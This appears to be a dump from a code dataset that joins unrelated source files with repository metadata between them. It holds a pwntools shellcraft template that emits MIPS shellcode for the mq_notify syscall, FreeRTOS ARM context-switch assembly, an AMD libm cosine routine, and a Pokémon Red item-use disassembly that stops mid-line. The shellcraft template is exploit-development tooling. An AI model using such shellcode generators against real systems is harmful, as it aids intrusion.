<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="mqdes, notification"/> <%docstring> Invokes the syscall mq_notify. See 'man 2 mq_notify' for more information. Arguments: mqdes(mqd_t): mqdes notification(sigevent): notification </%docstring> ${syscall('SYS_mq_notify', mqdes, notification)}
22
75
0.721212
46173b6c21e897dfa247a4b9c9a5158e5b3b32cb
5,492
asm
Assembly
device_firmware/freertos_kernel/portable/Tasking/ARM_CM4F/port_asm.asm
jensihnow/connected-drink-dispenser-workshop
9a62e9815658ffe437be47e0caecc7be62ca02b7
[ "MIT-0" ]
43
2019-12-03T19:48:53.000Z
2021-09-05T05:34:53.000Z
device_firmware/freertos_kernel/portable/Tasking/ARM_CM4F/port_asm.asm
jensihnow/connected-drink-dispenser-workshop
9a62e9815658ffe437be47e0caecc7be62ca02b7
[ "MIT-0" ]
59
2019-12-04T00:06:45.000Z
2022-03-30T20:04:03.000Z
device_firmware/freertos_kernel/portable/Tasking/ARM_CM4F/port_asm.asm
jensihnow/connected-drink-dispenser-workshop
9a62e9815658ffe437be47e0caecc7be62ca02b7
[ "MIT-0" ]
20
2019-11-29T14:51:04.000Z
2021-07-10T22:11:16.000Z
;/* ; * FreeRTOS Kernel V10.2.1 ; * Copyright (C) 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. ; * ; * Permission is hereby granted, free of charge, to any person obtaining a copy of ; * this software and associated documentation files (the "Software"), to deal in ; * the Software without restriction, including without limitation the rights to ; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of ; * the Software, and to permit persons to whom the Software is furnished to do so, ; * subject to the following conditions: ; * ; * The above copyright notice and this permission notice shall be included in all ; * copies or substantial portions of the Software. ; * ; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS ; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR ; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER ; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN ; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ; * ; * http://www.FreeRTOS.org ; * http://aws.amazon.com/freertos ; * ; * 1 tab == 4 spaces! ; */ .extern pxCurrentTCB .extern vTaskSwitchContext .extern ulMaxSyscallInterruptPriorityConst .global _vector_14 .global _lc_ref__vector_pp_14 .global SVC_Handler .global vPortStartFirstTask .global vPortEnableVFP .global ulPortSetInterruptMask .global vPortClearInterruptMask ;----------------------------------------------------------- .section .text .thumb .align 4 _vector_14: .type func mrs r0, psp isb ;Get the location of the current TCB. ldr.w r3, =pxCurrentTCB ldr r2, [r3] ;Is the task using the FPU context? If so, push high vfp registers. tst r14, #0x10 it eq vstmdbeq r0!, {s16-s31} ;Save the core registers. stmdb r0!, {r4-r11, r14} ;Save the new top of stack into the first member of the TCB. str r0, [r2] stmdb sp!, {r0, r3} ldr.w r0, =ulMaxSyscallInterruptPriorityConst ldr r0, [r0] msr basepri, r0 bl vTaskSwitchContext mov r0, #0 msr basepri, r0 ldmia sp!, {r0, r3} ;The first item in pxCurrentTCB is the task top of stack. ldr r1, [r3] ldr r0, [r1] ;Pop the core registers. ldmia r0!, {r4-r11, r14} ;Is the task using the FPU context? If so, pop the high vfp registers too. tst r14, #0x10 it eq vldmiaeq r0!, {s16-s31} msr psp, r0 isb bx r14 .size _vector_14, $-_vector_14 .endsec ;----------------------------------------------------------- ; This function is an XMC4000 silicon errata workaround. It will get used when ; the SILICON_BUG_PMC_CM_001 linker macro is defined. .section .text .thumb .align 4 _lc_ref__vector_pp_14: .type func mrs r0, psp isb ;Get the location of the current TCB. ldr.w r3, =pxCurrentTCB ldr r2, [r3] ;Is the task using the FPU context? If so, push high vfp registers. tst r14, #0x10 it eq vstmdbeq r0!, {s16-s31} ;Save the core registers. stmdb r0!, {r4-r11, r14} ;Save the new top of stack into the first member of the TCB. str r0, [r2] stmdb sp!, {r3} ldr.w r0, =ulMaxSyscallInterruptPriorityConst ldr r0, [r0] msr basepri, r0 bl vTaskSwitchContext mov r0, #0 msr basepri, r0 ldmia sp!, {r3} ;The first item in pxCurrentTCB is the task top of stack. ldr r1, [r3] ldr r0, [r1] ;Pop the core registers. ldmia r0!, {r4-r11, r14} ;Is the task using the FPU context? If so, pop the high vfp registers too. tst r14, #0x10 it eq vldmiaeq r0!, {s16-s31} msr psp, r0 isb push { lr } pop { pc } ; XMC4000 specific errata workaround. Do not used "bx lr" here. .size _lc_ref__vector_pp_14, $-_lc_ref__vector_pp_14 .endsec ;----------------------------------------------------------- .section .text .thumb .align 4 SVC_Handler: .type func ;Get the location of the current TCB. ldr.w r3, =pxCurrentTCB ldr r1, [r3] ldr r0, [r1] ;Pop the core registers. ldmia r0!, {r4-r11, r14} msr psp, r0 isb mov r0, #0 msr basepri, r0 bx r14 .size SVC_Handler, $-SVC_Handler .endsec ;----------------------------------------------------------- .section .text .thumb .align 4 vPortStartFirstTask .type func ;Use the NVIC offset register to locate the stack. ldr.w r0, =0xE000ED08 ldr r0, [r0] ldr r0, [r0] ;Set the msp back to the start of the stack. msr msp, r0 ;Call SVC to start the first task. cpsie i cpsie f dsb isb svc 0 .size vPortStartFirstTask, $-vPortStartFirstTask .endsec ;----------------------------------------------------------- .section .text .thumb .align 4 vPortEnableVFP .type func ;The FPU enable bits are in the CPACR. ldr.w r0, =0xE000ED88 ldr r1, [r0] ;Enable CP10 and CP11 coprocessors, then save back. orr r1, r1, #( 0xf << 20 ) str r1, [r0] bx r14 .size vPortEnableVFP, $-vPortEnableVFP .endsec ;----------------------------------------------------------- .section .text .thumb .align 4 ulPortSetInterruptMask: mrs r0, basepri ldr.w r1, =ulMaxSyscallInterruptPriorityConst ldr r1, [r1] msr basepri, r1 bx r14 .size ulPortSetInterruptMask, $-ulPortSetInterruptMask .endsec ;----------------------------------------------------------- .section .text .thumb .align 4 vPortClearInterruptMask: msr basepri, r0 bx r14 .size vPortClearInterruptMask, $-vPortClearInterruptMask .endsec ;----------------------------------------------------------- .end
23.172996
84
0.651675
edd115de93039ae9254b77bc1d54e73f869fd469
3,531
asm
Assembly
src/isa/avx2/masm/cosf_fma3.asm
jepler/aocl-libm-ose
4033e022da428125747e118ccd6fdd9cee21c470
[ "BSD-3-Clause" ]
66
2020-11-04T17:06:10.000Z
2022-03-10T08:03:12.000Z
src/isa/avx2/masm/cosf_fma3.asm
HollowMan6/aocl-libm-ose
4033e022da428125747e118ccd6fdd9cee21c470
[ "BSD-3-Clause" ]
8
2021-04-18T18:37:53.000Z
2022-03-11T12:49:31.000Z
src/isa/avx2/masm/cosf_fma3.asm
HollowMan6/aocl-libm-ose
4033e022da428125747e118ccd6fdd9cee21c470
[ "BSD-3-Clause" ]
8
2020-11-09T03:45:01.000Z
2021-11-08T02:25:31.000Z
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; include fm.inc include trig_func.inc FN_PROTOTYPE_FMA3 cosf fname_special TEXTEQU <_cosf_special> ;Define name and any external functions being called EXTERN fname_special : PROC text SEGMENT EXECUTE PUBLIC fname fname PROC FRAME StackAllocate stack_size .ENDPROLOG cosf_early_exit_s: VMOVD eax,xmm0 MOV r8d,L__inf_mask_32 AND eax,r8d CMP eax, r8d JZ cosf_naninf VCVTSS2SD xmm5,xmm0,xmm0 VMOVQ r9,xmm5 AND r9,L__sign_mask ;clear sign cosf_early_exit_s_1: CMP r9,L_mask_3fe JG range_reduce CMP r9,L_mask_3f8 JGE compute_cosf_pyby_4 CMP r9,L_mask_3f2 JGE compute_1_xx_5 VMOVQ xmm0,QWORD PTR L_one JMP return_cosf_s compute_1_xx_5: VMULSD xmm0,xmm5,QWORD PTR L_point_five ; VFNMADD213SD xmm0,xmm5,L_one ; xmm9 1.0 - x*x*(double2)0.5; JMP return_cosf_s compute_cosf_pyby_4: MOVSD xmm0,xmm5 cos_piby4_sf_fma3 JMP return_cosf_s range_reduce: VMOVQ xmm0,r9 ; r9 x with the sign cleared cmp r9,L_e_5 JGE cosf_remainder_piby2 ;cosff_range_e_5_s: range_e_5_sf_fma3 JMP cosf_exit_s cosf_remainder_piby2: call_remainder_piby2_f cosf_exit_s: VMOVQ rax,xmm4 and rax,01h cmp rax,01h JNZ cosf_piby4_compute ;sinf_piby4_compute: sin_piby4_sf_fma3 JMP cosf_exit_s_1 cosf_piby4_compute: cos_piby4_sf_fma3 cosf_exit_s_1: VPCMPEQQ xmm1,xmm4,XMMWORD PTR L_int_one VPCMPEQQ xmm2,xmm4,XMMWORD PTR L_int_two VORPD xmm3,xmm2,xmm1 VANDPD xmm3,xmm3,L_signbit VXORPD xmm0,xmm0,xmm3 return_cosf_s: VCVTSD2SS xmm0,xmm0,xmm0 StackDeallocate stack_size ret cosf_naninf: call fname_special StackDeallocate stack_size ret fname endp TEXT ENDS END
26.155556
86
0.711696
38e8a704183fbd0c8494e19956c4c46f5cbffc8a
62,837
asm
Assembly
engine/items/items.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
engine/items/items.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
engine/items/items.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
UseItem_: ld a, 1 ld [wActionResultOrTookBattleTurn], a ; initialise to success value ld a, [wcf91] ;contains item_ID cp HM_01 jp nc, ItemUseTMHM ld hl, ItemUsePtrTable dec a add a ld c, a ld b, 0 add hl, bc ld a, [hli] ld h, [hl] ld l, a jp hl ItemUsePtrTable: dw ItemUseBall ; MASTER_BALL dw ItemUseBall ; ULTRA_BALL dw ItemUseBall ; GREAT_BALL dw ItemUseBall ; POKE_BALL dw ItemUseTownMap ; TOWN_MAP dw ItemUseBicycle ; BICYCLE dw ItemUseSurfboard ; out-of-battle Surf effect dw ItemUseBall ; SAFARI_BALL dw ItemUsePokedex ; POKEDEX dw ItemUseEvoStone ; MOON_STONE dw ItemUseMedicine ; ANTIDOTE dw ItemUseMedicine ; BURN_HEAL dw ItemUseMedicine ; ICE_HEAL dw ItemUseMedicine ; AWAKENING dw ItemUseMedicine ; PARLYZ_HEAL dw ItemUseMedicine ; FULL_RESTORE dw ItemUseMedicine ; MAX_POTION dw ItemUseMedicine ; HYPER_POTION dw ItemUseMedicine ; SUPER_POTION dw ItemUseMedicine ; POTION dw ItemUseBait ; BOULDERBADGE dw ItemUseRock ; CASCADEBADGE dw UnusableItem ; THUNDERBADGE dw UnusableItem ; RAINBOWBADGE dw UnusableItem ; SOULBADGE dw UnusableItem ; MARSHBADGE dw UnusableItem ; VOLCANOBADGE dw UnusableItem ; EARTHBADGE dw ItemUseEscapeRope ; ESCAPE_ROPE dw ItemUseRepel ; REPEL dw UnusableItem ; OLD_AMBER dw ItemUseEvoStone ; FIRE_STONE dw ItemUseEvoStone ; THUNDER_STONE dw ItemUseEvoStone ; WATER_STONE dw ItemUseVitamin ; HP_UP dw ItemUseVitamin ; PROTEIN dw ItemUseVitamin ; IRON dw ItemUseVitamin ; CARBOS dw ItemUseVitamin ; CALCIUM dw ItemUseVitamin ; RARE_CANDY dw UnusableItem ; DOME_FOSSIL dw UnusableItem ; HELIX_FOSSIL dw UnusableItem ; SECRET_KEY dw UnusableItem dw UnusableItem ; BIKE_VOUCHER dw ItemUseXAccuracy ; X_ACCURACY dw ItemUseEvoStone ; LEAF_STONE dw ItemUseCardKey ; CARD_KEY dw UnusableItem ; NUGGET dw UnusableItem ; ??? PP_UP dw ItemUsePokedoll ; POKE_DOLL dw ItemUseMedicine ; FULL_HEAL dw ItemUseMedicine ; REVIVE dw ItemUseMedicine ; MAX_REVIVE dw ItemUseGuardSpec ; GUARD_SPEC dw ItemUseSuperRepel ; SUPER_REPL dw ItemUseMaxRepel ; MAX_REPEL dw ItemUseDireHit ; DIRE_HIT dw UnusableItem ; COIN dw ItemUseMedicine ; FRESH_WATER dw ItemUseMedicine ; SODA_POP dw ItemUseMedicine ; LEMONADE dw UnusableItem ; S_S_TICKET dw UnusableItem ; GOLD_TEETH dw ItemUseXStat ; X_ATTACK dw ItemUseXStat ; X_DEFEND dw ItemUseXStat ; X_SPEED dw ItemUseXStat ; X_SPECIAL dw ItemUseCoinCase ; COIN_CASE dw ItemUseOaksParcel ; OAKS_PARCEL dw ItemUseItemfinder ; ITEMFINDER dw UnusableItem ; SILPH_SCOPE dw ItemUsePokeflute ; POKE_FLUTE dw UnusableItem ; LIFT_KEY dw UnusableItem ; EXP_ALL dw ItemUseOldRod ; OLD_ROD dw ItemUseGoodRod ; GOOD_ROD dw ItemUseSuperRod ; SUPER_ROD dw ItemUsePPUp ; PP_UP (real one) dw ItemUsePPRestore ; ETHER dw ItemUsePPRestore ; MAX_ETHER dw ItemUsePPRestore ; ELIXER dw ItemUsePPRestore ; MAX_ELIXER ItemUseBall: ; Balls can't be used out of battle. ld a, [wIsInBattle] and a jp z, ItemUseNotTime ; Balls can't catch trainers' Pokémon. dec a jp nz, ThrowBallAtTrainerMon ; If this is for the old man battle, skip checking if the party & box are full. ld a, [wBattleType] dec a jr z, .canUseBall ld a, [wPartyCount] ; is party full? cp PARTY_LENGTH jr nz, .canUseBall ld a, [wNumInBox] ; is box full? cp MONS_PER_BOX jp z, BoxFullCannotThrowBall .canUseBall xor a ld [wCapturedMonSpecies], a ld a, [wBattleType] cp BATTLE_TYPE_SAFARI jr nz, .skipSafariZoneCode .safariZone ld hl, wNumSafariBalls dec [hl] ; remove a Safari Ball .skipSafariZoneCode call RunDefaultPaletteCommand ld a, $43 ; successful capture value ld [wPokeBallAnimData], a call LoadScreenTilesFromBuffer1 ld hl, ItemUseText00 call PrintText ; If the player is fighting an unidentified ghost, set the value that indicates ; the Pokémon can't be caught and skip the capture calculations. callab IsGhostBattle ld b, $10 ; can't be caught value jp z, .setAnimData ld a, [wBattleType] dec a jr nz, .notOldManBattle .oldManBattle ld hl, wGrassRate ld de, wPlayerName ld bc, NAME_LENGTH call CopyData ; save the player's name in the Wild Monster data (part of the Cinnabar Island Missingno. glitch) jp .captured .notOldManBattle ; If the player is fighting the ghost Marowak, set the value that indicates the ; Pokémon can't be caught and skip the capture calculations. ld a, [wCurMap] cp POKEMON_TOWER_6F jr nz, .loop ld a, [wEnemyMonSpecies2] cp MAROWAK ld b, $10 ; can't be caught value jp z, .setAnimData ; Get the first random number. Let it be called Rand1. ; Rand1 must be within a certain range according the kind of ball being thrown. ; The ranges are as follows. ; Poké Ball: [0, 255] ; Great Ball: [0, 200] ; Ultra/Safari Ball: [0, 150] ; Loop until an acceptable number is found. .loop call Random ld b, a ; Get the item ID. ld hl, wcf91 ld a, [hl] ; The Master Ball always succeeds. cp MASTER_BALL jp z, .captured ; Anything will do for the basic Poké Ball. cp POKE_BALL jr z, .checkForAilments ; If it's a Great/Ultra/Safari Ball and Rand1 is greater than 200, try again. ld a, 200 cp b jr c, .loop ; Less than or equal to 200 is good enough for a Great Ball. ld a, [hl] cp GREAT_BALL jr z, .checkForAilments ; If it's an Ultra/Safari Ball and Rand1 is greater than 150, try again. ld a, 150 cp b jr c, .loop .checkForAilments ; Pokémon can be caught more easily with a status ailment. ; Depending on the status ailment, a certain value will be subtracted from ; Rand1. Let this value be called Status. ; The larger Status is, the more easily the Pokémon can be caught. ; no status ailment: Status = 0 ; Burn/Paralysis/Poison: Status = 12 ; Freeze/Sleep: Status = 25 ; If Status is greater than Rand1, the Pokémon will be caught for sure. ld a, [wEnemyMonStatus] and a jr z, .skipAilmentValueSubtraction ; no ailments and 1 << FRZ | SLP ld c, 12 jr z, .notFrozenOrAsleep ld c, 25 .notFrozenOrAsleep ld a, b sub c jp c, .captured ld b, a .skipAilmentValueSubtraction push bc ; save (Rand1 - Status) ; Calculate MaxHP * 255. xor a ld [H_MULTIPLICAND], a ld hl, wEnemyMonMaxHP ld a, [hli] ld [H_MULTIPLICAND + 1], a ld a, [hl] ld [H_MULTIPLICAND + 2], a ld a, 255 ld [H_MULTIPLIER], a call Multiply ; Determine BallFactor. It's 8 for Great Balls and 12 for the others. ld a, [wcf91] cp GREAT_BALL ld a, 12 jr nz, .skip1 ld a, 8 .skip1 ; Note that the results of all division operations are floored. ; Calculate (MaxHP * 255) / BallFactor. ld [H_DIVISOR], a ld b, 4 ; number of bytes in dividend call Divide ; Divide the enemy's current HP by 4. HP is not supposed to exceed 999 so ; the result should fit in a. If the division results in a quotient of 0, ; change it to 1. ld hl, wEnemyMonHP ld a, [hli] ld b, a ld a, [hl] srl b rr a srl b rr a and a jr nz, .skip2 inc a .skip2 ; Let W = ((MaxHP * 255) / BallFactor) / max(HP / 4, 1). Calculate W. ld [H_DIVISOR], a ld b, 4 call Divide ; If W > 255, store 255 in [H_QUOTIENT + 3]. ; Let X = min(W, 255) = [H_QUOTIENT + 3]. ld a, [H_QUOTIENT + 2] and a jr z, .skip3 ld a, 255 ld [H_QUOTIENT + 3], a .skip3 pop bc ; b = Rand1 - Status ; If Rand1 - Status > CatchRate, the ball fails to capture the Pokémon. ld a, [wEnemyMonActualCatchRate] cp b jr c, .failedToCapture ; If W > 255, the ball captures the Pokémon. ld a, [H_QUOTIENT + 2] and a jr nz, .captured call Random ; Let this random number be called Rand2. ; If Rand2 > X, the ball fails to capture the Pokémon. ld b, a ld a, [H_QUOTIENT + 3] cp b jr c, .failedToCapture .captured jr .skipShakeCalculations .failedToCapture ld a, [H_QUOTIENT + 3] ld [wPokeBallCaptureCalcTemp], a ; Save X. ; Calculate CatchRate * 100. xor a ld [H_MULTIPLICAND], a ld [H_MULTIPLICAND + 1], a ld a, [wEnemyMonActualCatchRate] ld [H_MULTIPLICAND + 2], a ld a, 100 ld [H_MULTIPLIER], a call Multiply ; Determine BallFactor2. ; Poké Ball: BallFactor2 = 255 ; Great Ball: BallFactor2 = 200 ; Ultra/Safari Ball: BallFactor2 = 150 ld a, [wcf91] ld b, 255 cp POKE_BALL jr z, .skip4 ld b, 200 cp GREAT_BALL jr z, .skip4 ld b, 150 cp ULTRA_BALL jr z, .skip4 .skip4 ; Let Y = (CatchRate * 100) / BallFactor2. Calculate Y. ld a, b ld [H_DIVISOR], a ld b, 4 call Divide ; If Y > 255, there are 3 shakes. ; Note that this shouldn't be possible. ; The maximum value of Y is (255 * 100) / 150 = 170. ld a, [H_QUOTIENT + 2] and a ld b, $63 ; 3 shakes jr nz, .setAnimData ; Calculate X * Y. ld a, [wPokeBallCaptureCalcTemp] ld [H_MULTIPLIER], a call Multiply ; Calculate (X * Y) / 255. ld a, 255 ld [H_DIVISOR], a ld b, 4 call Divide ; Determine Status2. ; no status ailment: Status2 = 0 ; Burn/Paralysis/Poison: Status2 = 5 ; Freeze/Sleep: Status2 = 10 ld a, [wEnemyMonStatus] and a jr z, .skip5 and 1 << FRZ | SLP ld b, 5 jr z, .addAilmentValue ld b, 10 .addAilmentValue ; If the Pokémon has a status ailment, add Status2. ld a, [H_QUOTIENT + 3] add b ld [H_QUOTIENT + 3], a .skip5 ; Finally determine the number of shakes. ; Let Z = ((X * Y) / 255) + Status2 = [H_QUOTIENT + 3]. ; The number of shakes depend on the range Z is in. ; 0 ≤ Z < 10: 0 shakes (the ball misses) ; 10 ≤ Z < 30: 1 shake ; 30 ≤ Z < 70: 2 shakes ; 70 ≤ Z: 3 shakes ld a, [H_QUOTIENT + 3] cp 10 ld b, $20 jr c, .setAnimData cp 30 ld b, $61 jr c, .setAnimData cp 70 ld b, $62 jr c, .setAnimData ld b, $63 .setAnimData ld a, b ld [wPokeBallAnimData], a .skipShakeCalculations ld c, 20 call DelayFrames ; Do the animation. ld a, TOSS_ANIM ld [wAnimationID], a xor a ld [H_WHOSETURN], a ld [wAnimationType], a ld [wDamageMultipliers], a ld a, [wWhichPokemon] push af ld a, [wcf91] push af predef MoveAnimation pop af ld [wcf91], a pop af ld [wWhichPokemon], a ; Determine the message to display from the animation. ld a, [wPokeBallAnimData] cp $10 ld hl, ItemUseBallText00 jp z, .printMessage cp $20 ld hl, ItemUseBallText01 jp z, .printMessage cp $61 ld hl, ItemUseBallText02 jp z, .printMessage cp $62 ld hl, ItemUseBallText03 jp z, .printMessage cp $63 ld hl, ItemUseBallText04 jp z, .printMessage ; Save current HP. ld hl, wEnemyMonHP ld a, [hli] push af ld a, [hli] push af ; Save status ailment. inc hl ld a, [hl] push af push hl ; If the Pokémon is transformed, the Pokémon is assumed to be a Ditto. ; This is a bug because a wild Pokémon could have used Transform via ; Mirror Move even though the only wild Pokémon that knows Transform is Ditto. ld hl, wEnemyBattleStatus3 bit TRANSFORMED, [hl] jr z, .notTransformed ld a, DITTO ld [wEnemyMonSpecies2], a jr .skip6 .notTransformed ; If the Pokémon is not transformed, set the transformed bit and copy the ; DVs to wTransformedEnemyMonOriginalDVs so that LoadEnemyMonData won't generate ; new DVs. set TRANSFORMED, [hl] ld hl, wTransformedEnemyMonOriginalDVs ld a, [wEnemyMonDVs] ld [hli], a ld a, [wEnemyMonDVs + 1] ld [hl], a .skip6 ld a, [wcf91] push af ld a, [wEnemyMonSpecies2] ld [wcf91], a ld a, [wEnemyMonLevel] ld [wCurEnemyLVL], a callab LoadEnemyMonData pop af ld [wcf91], a pop hl pop af ld [hld], a dec hl pop af ld [hld], a pop af ld [hl], a ld a, [wEnemyMonSpecies] ld [wCapturedMonSpecies], a ld [wcf91], a ld [wd11e], a ld a, [wBattleType] dec a ; is this the old man battle? jr z, .oldManCaughtMon ; if so, don't give the player the caught Pokémon ld hl, ItemUseBallText05 call PrintText ; Add the caught Pokémon to the Pokédex. predef IndexToPokedex ld a, [wd11e] dec a ld c, a ld b, FLAG_TEST ld hl, wPokedexOwned predef FlagActionPredef ld a, c push af ld a, [wd11e] dec a ld c, a ld b, FLAG_SET predef FlagActionPredef pop af and a ; was the Pokémon already in the Pokédex? jr nz, .skipShowingPokedexData ; if so, don't show the Pokédex data ld hl, ItemUseBallText06 call PrintText call ClearSprites ld a, [wEnemyMonSpecies] ld [wd11e], a predef ShowPokedexData .skipShowingPokedexData ld a, [wPartyCount] cp PARTY_LENGTH ; is party full? jr z, .sendToBox xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a call ClearSprites call AddPartyMon jr .done .sendToBox call ClearSprites call SendNewMonToBox ld hl, ItemUseBallText07 CheckEvent EVENT_MET_BILL jr nz, .printTransferredToPCText ld hl, ItemUseBallText08 .printTransferredToPCText call PrintText jr .done .oldManCaughtMon ld hl, ItemUseBallText05 .printMessage call PrintText call ClearSprites .done ld a, [wBattleType] and a ; is this the old man battle? ret nz ; if so, don't remove a ball from the bag ; Remove a ball from the bag. ld hl, wNumBagItems inc a ld [wItemQuantity], a jp RemoveItemFromInventory ItemUseBallText00: ;"It dodged the thrown ball!" ;"This pokemon can't be caught" TX_FAR _ItemUseBallText00 db "@" ItemUseBallText01: ;"You missed the pokemon!" TX_FAR _ItemUseBallText01 db "@" ItemUseBallText02: ;"Darn! The pokemon broke free!" TX_FAR _ItemUseBallText02 db "@" ItemUseBallText03: ;"Aww! It appeared to be caught!" TX_FAR _ItemUseBallText03 db "@" ItemUseBallText04: ;"Shoot! It was so close too!" TX_FAR _ItemUseBallText04 db "@" ItemUseBallText05: ;"All right! {MonName} was caught!" ;play sound TX_FAR _ItemUseBallText05 TX_SFX_CAUGHT_MON TX_BLINK db "@" ItemUseBallText07: ;"X was transferred to Bill's PC" TX_FAR _ItemUseBallText07 db "@" ItemUseBallText08: ;"X was transferred to someone's PC" TX_FAR _ItemUseBallText08 db "@" ItemUseBallText06: ;"New DEX data will be added..." ;play sound TX_FAR _ItemUseBallText06 TX_SFX_DEX_PAGE_ADDED TX_BLINK db "@" ItemUseTownMap: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime jpba DisplayTownMap ItemUseBicycle: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld a, [wWalkBikeSurfState] ld [wWalkBikeSurfStateCopy], a cp 2 ; is the player surfing? jp z, ItemUseNotTime dec a ; is player already bicycling? jr nz, .tryToGetOnBike .getOffBike call ItemUseReloadOverworldData xor a ld [wWalkBikeSurfState], a ; change player state to walking call PlayDefaultMusic ; play walking music ld hl, GotOffBicycleText jr .printText .tryToGetOnBike call IsBikeRidingAllowed jp nc, NoCyclingAllowedHere call ItemUseReloadOverworldData xor a ; no keys pressed ld [hJoyHeld], a ; current joypad state inc a ld [wWalkBikeSurfState], a ; change player state to bicycling ld hl, GotOnBicycleText call PlayDefaultMusic ; play bike riding music .printText jp PrintText ; used for Surf out-of-battle effect ItemUseSurfboard: ld a, [wWalkBikeSurfState] ld [wWalkBikeSurfStateCopy], a cp 2 ; is the player already surfing? jr z, .tryToStopSurfing .tryToSurf call IsNextTileShoreOrWater jp c, SurfingAttemptFailed ld hl, TilePairCollisionsWater call CheckForTilePairCollisions jp c, SurfingAttemptFailed .surf call .makePlayerMoveForward ld hl, wd730 set 7, [hl] ld a, 2 ld [wWalkBikeSurfState], a ; change player state to surfing call PlayDefaultMusic ; play surfing music ld hl, SurfingGotOnText jp PrintText .tryToStopSurfing xor a ld [hSpriteIndexOrTextID], a ld d, 16 ; talking range in pixels (normal range) call IsSpriteInFrontOfPlayer2 res 7, [hl] ld a, [hSpriteIndexOrTextID] and a ; is there a sprite in the way? jr nz, .cannotStopSurfing ld hl, TilePairCollisionsWater call CheckForTilePairCollisions jr c, .cannotStopSurfing ld hl, wTilesetCollisionPtr ; pointer to list of passable tiles ld a, [hli] ld h, [hl] ld l, a ; hl now points to passable tiles ld a, [wTileInFrontOfPlayer] ; tile in front of the player ld b, a .passableTileLoop ld a, [hli] cp b jr z, .stopSurfing cp $ff jr nz, .passableTileLoop .cannotStopSurfing ld hl, SurfingNoPlaceToGetOffText jp PrintText .stopSurfing call .makePlayerMoveForward ld hl, wd730 set 7, [hl] xor a ld [wWalkBikeSurfState], a ; change player state to walking dec a ld [wJoyIgnore], a call PlayDefaultMusic ; play walking music jp LoadWalkingPlayerSpriteGraphics ; uses a simulated button press to make the player move forward .makePlayerMoveForward ld a, [wPlayerDirection] ; direction the player is going bit PLAYER_DIR_BIT_UP, a ld b, D_UP jr nz, .storeSimulatedButtonPress bit PLAYER_DIR_BIT_DOWN, a ld b, D_DOWN jr nz, .storeSimulatedButtonPress bit PLAYER_DIR_BIT_LEFT, a ld b, D_LEFT jr nz, .storeSimulatedButtonPress ld b, D_RIGHT .storeSimulatedButtonPress ld a, b ld [wSimulatedJoypadStatesEnd], a xor a ld [wWastedByteCD39], a inc a ld [wSimulatedJoypadStatesIndex], a ret SurfingGotOnText: TX_FAR _SurfingGotOnText db "@" SurfingNoPlaceToGetOffText: TX_FAR _SurfingNoPlaceToGetOffText db "@" ItemUsePokedex: predef_jump ShowPokedexMenu ItemUseEvoStone: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld a, [wWhichPokemon] push af ld a, [wcf91] ld [wEvoStoneItemID], a push af ld a, EVO_STONE_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a ld a, $ff ld [wUpdateSpritesEnabled], a call DisplayPartyMenu pop bc jr c, .canceledItemUse ld a, b ld [wcf91], a ld a, $01 ld [wForceEvolution], a ld a, SFX_HEAL_AILMENT call PlaySoundWaitForCurrent call WaitForSoundToFinish callab TryEvolvingMon ; try to evolve pokemon ld a, [wEvolutionOccurred] and a jr z, .noEffect pop af ld [wWhichPokemon], a ld hl, wNumBagItems ld a, 1 ; remove 1 stone ld [wItemQuantity], a jp RemoveItemFromInventory .noEffect call ItemUseNoEffect .canceledItemUse xor a ld [wActionResultOrTookBattleTurn], a ; item not used pop af ret ItemUseVitamin: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ItemUseMedicine: ld a, [wPartyCount] and a jp z, 